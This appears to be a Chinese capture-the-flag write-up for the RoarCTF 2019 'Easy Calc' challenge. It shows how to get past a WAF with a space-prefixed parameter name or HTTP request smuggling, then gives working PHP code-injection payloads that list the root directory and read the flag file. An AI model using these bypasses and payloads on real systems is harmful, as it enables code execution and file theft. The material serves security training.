题目地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc
查看源码
抓包发现calc.php
访问http://node3.buuoj.cn:28908/calc.php
很明显,代码执行绕过,前面源码也说了有WAF,这里绕过WAF有两种方法
- 在
num
前添加%20
绕过对num的检测 - HTTP走私之重复Content-Length绕过
首先看下phpinfo()
,禁用了一大堆函数
使用scandir()
函数+chr()
函数绕过代码执行
/calc.php?%20num=var_dump(scandir(chr(47)))
或者使用glob()
函数
/calc.php?%20num=var_dump(glob(chr(47).chr(42)))
根目录发现f1agg
利用file_get_contents()
进行读取
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
或者其他花式文件读取操作
/calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=print_r(php_strip_whitespace(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
.......
HTTP走私之Content-Type重复绕过WAF